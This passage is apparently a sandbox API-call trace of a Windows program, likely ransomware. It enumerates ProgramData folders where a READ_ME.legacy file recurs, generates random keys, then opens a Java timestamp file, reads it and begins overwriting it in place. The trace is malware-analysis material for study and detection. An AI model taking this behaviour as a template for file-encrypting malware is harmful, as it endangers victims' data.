ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd587845c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0124.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0124.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0124.851] GetLastError () returned 0x12 [0124.851] SetLastError (dwErrCode=0x12) [0124.851] GetLastError () returned 0x12 [0124.851] SetLastError (dwErrCode=0x12) [0124.851] GetLastError () returned 0x12 [0124.851] SetLastError (dwErrCode=0x12) [0124.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.851] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.851] FindNextFileW (in: hFindFile=0x566c18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd587845c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd587845c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0124.851] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0124.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567580 | out: hHeap=0x520000) returned 1 [0124.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0124.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0124.852] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x2797fc81, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x567158 [0124.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0124.852] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.852] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0124.852] GetLastError () returned 0x12 [0124.852] SetLastError (dwErrCode=0x12) [0124.852] GetLastError () returned 0x12 [0124.852] SetLastError (dwErrCode=0x12) [0124.853] GetLastError () returned 0x12 [0124.853] SetLastError (dwErrCode=0x12) [0124.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0124.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0124.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0124.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0124.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0124.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0124.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0124.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0124.853] FindNextFileW (in: hFindFile=0x567158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x2797fc81, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0124.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0124.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0124.854] GetLastError () returned 0x12 [0124.854] SetLastError (dwErrCode=0x12) [0124.854] GetLastError () returned 0x12 [0124.854] SetLastError (dwErrCode=0x12) [0124.854] GetLastError () returned 0x12 [0124.854] SetLastError (dwErrCode=0x12) [0124.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0124.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0124.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0124.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567218 [0124.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567218 | out: hHeap=0x520000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0124.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0124.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0124.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0124.855] FindNextFileW (in: hFindFile=0x567158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd587845c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd587845c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0124.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0124.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0124.855] GetLastError () returned 0x12 [0124.855] SetLastError (dwErrCode=0x12) [0124.855] GetLastError () returned 0x12 [0124.855] SetLastError (dwErrCode=0x12) [0124.855] GetLastError () returned 0x12 [0124.855] SetLastError (dwErrCode=0x12) [0124.855] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.856] FindNextFileW (in: hFindFile=0x567158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd587845c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd587845c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0124.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0124.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0124.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0124.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0124.856] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\S\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x4b9b7315, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566e18 [0124.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5790b8 [0124.856] GetLastError () returned 0x12 [0124.856] SetLastError (dwErrCode=0x12) [0124.857] GetLastError () returned 0x12 [0124.857] SetLastError (dwErrCode=0x12) [0124.857] GetLastError () returned 0x12 [0124.857] SetLastError (dwErrCode=0x12) [0124.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0124.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0124.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0124.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0124.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0124.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0124.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0124.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0124.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0124.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0124.857] FindNextFileW (in: hFindFile=0x566e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x4b9b7315, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0124.858] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5790b8 | out: hHeap=0x520000) returned 1 [0124.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0124.858] GetLastError () returned 0x12 [0124.858] SetLastError (dwErrCode=0x12) [0124.858] GetLastError () returned 0x12 [0124.858] SetLastError (dwErrCode=0x12) [0124.858] GetLastError () returned 0x12 [0124.858] SetLastError (dwErrCode=0x12) [0124.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0124.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0124.862] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0124.863] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0124.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0124.865] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0124.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0124.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0124.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0124.865] FindNextFileW (in: hFindFile=0x566e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd587845c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd587845c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0124.865] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0124.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0124.866] GetLastError () returned 0x12 [0124.866] SetLastError (dwErrCode=0x12) [0124.866] GetLastError () returned 0x12 [0124.866] SetLastError (dwErrCode=0x12) [0124.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0124.866] GetLastError () returned 0x12 [0124.866] SetLastError (dwErrCode=0x12) [0124.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.866] FindNextFileW (in: hFindFile=0x566e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd587845c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd587845c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd587845c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0124.866] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567490 [0124.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0124.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0124.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0124.866] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd589e71f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566c98 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0124.867] GetLastError () returned 0x12 [0124.867] SetLastError (dwErrCode=0x12) [0124.867] GetLastError () returned 0x12 [0124.867] SetLastError (dwErrCode=0x12) [0124.867] GetLastError () returned 0x12 [0124.867] SetLastError (dwErrCode=0x12) [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d660 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d660 | out: hHeap=0x520000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566cd8 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cd8 | out: hHeap=0x520000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0124.867] FindNextFileW (in: hFindFile=0x566c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd589e71f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0124.868] GetLastError () returned 0x12 [0124.868] SetLastError (dwErrCode=0x12) [0124.868] GetLastError () returned 0x12 [0124.868] SetLastError (dwErrCode=0x12) [0124.868] GetLastError () returned 0x12 [0124.868] SetLastError (dwErrCode=0x12) [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567098 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567098 | out: hHeap=0x520000) returned 1 [0124.868] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0124.868] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0124.868] FindNextFileW (in: hFindFile=0x566c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0124.869] GetLastError () returned 0x12 [0124.869] SetLastError (dwErrCode=0x12) [0124.869] GetLastError () returned 0x12 [0124.869] SetLastError (dwErrCode=0x12) [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0124.869] GetLastError () returned 0x12 [0124.869] SetLastError (dwErrCode=0x12) [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e8268 [0124.869] FindNextFileW (in: hFindFile=0x566c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd589e71f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd589e71f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd589e71f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0124.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0124.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0124.869] GetLastError () returned 0x12 [0124.869] SetLastError (dwErrCode=0x12) [0124.870] GetLastError () returned 0x12 [0124.870] SetLastError (dwErrCode=0x12) [0124.870] GetLastError () returned 0x12 [0124.870] SetLastError (dwErrCode=0x12) [0124.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0124.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0124.870] FindNextFileW (in: hFindFile=0x566c98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd589e71f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd589e71f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd589e71f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0124.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7f20 [0124.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0124.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0124.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0124.870] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0124.870] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp", dwFileAttributes=0x80) returned 1 [0124.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5e7b30 [0124.871] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x609ee8 [0124.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7b30 | out: hHeap=0x520000) returned 1 [0124.872] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4 [0124.876] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=51) returned 1 [0124.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33) returned 0x566cd8 [0124.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x33) returned 0x567198 [0124.876] ReadFile (in: hFile=0x6e4, lpBuffer=0x566cd8, nNumberOfBytesToRead=0x33, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x566cd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x33, lpOverlapped=0x0) returned 1 [0124.877] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=-51, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.877] WriteFile (in: hFile=0x6e4, lpBuffer=0x567198*, nNumberOfBytesToWrite=0x33, 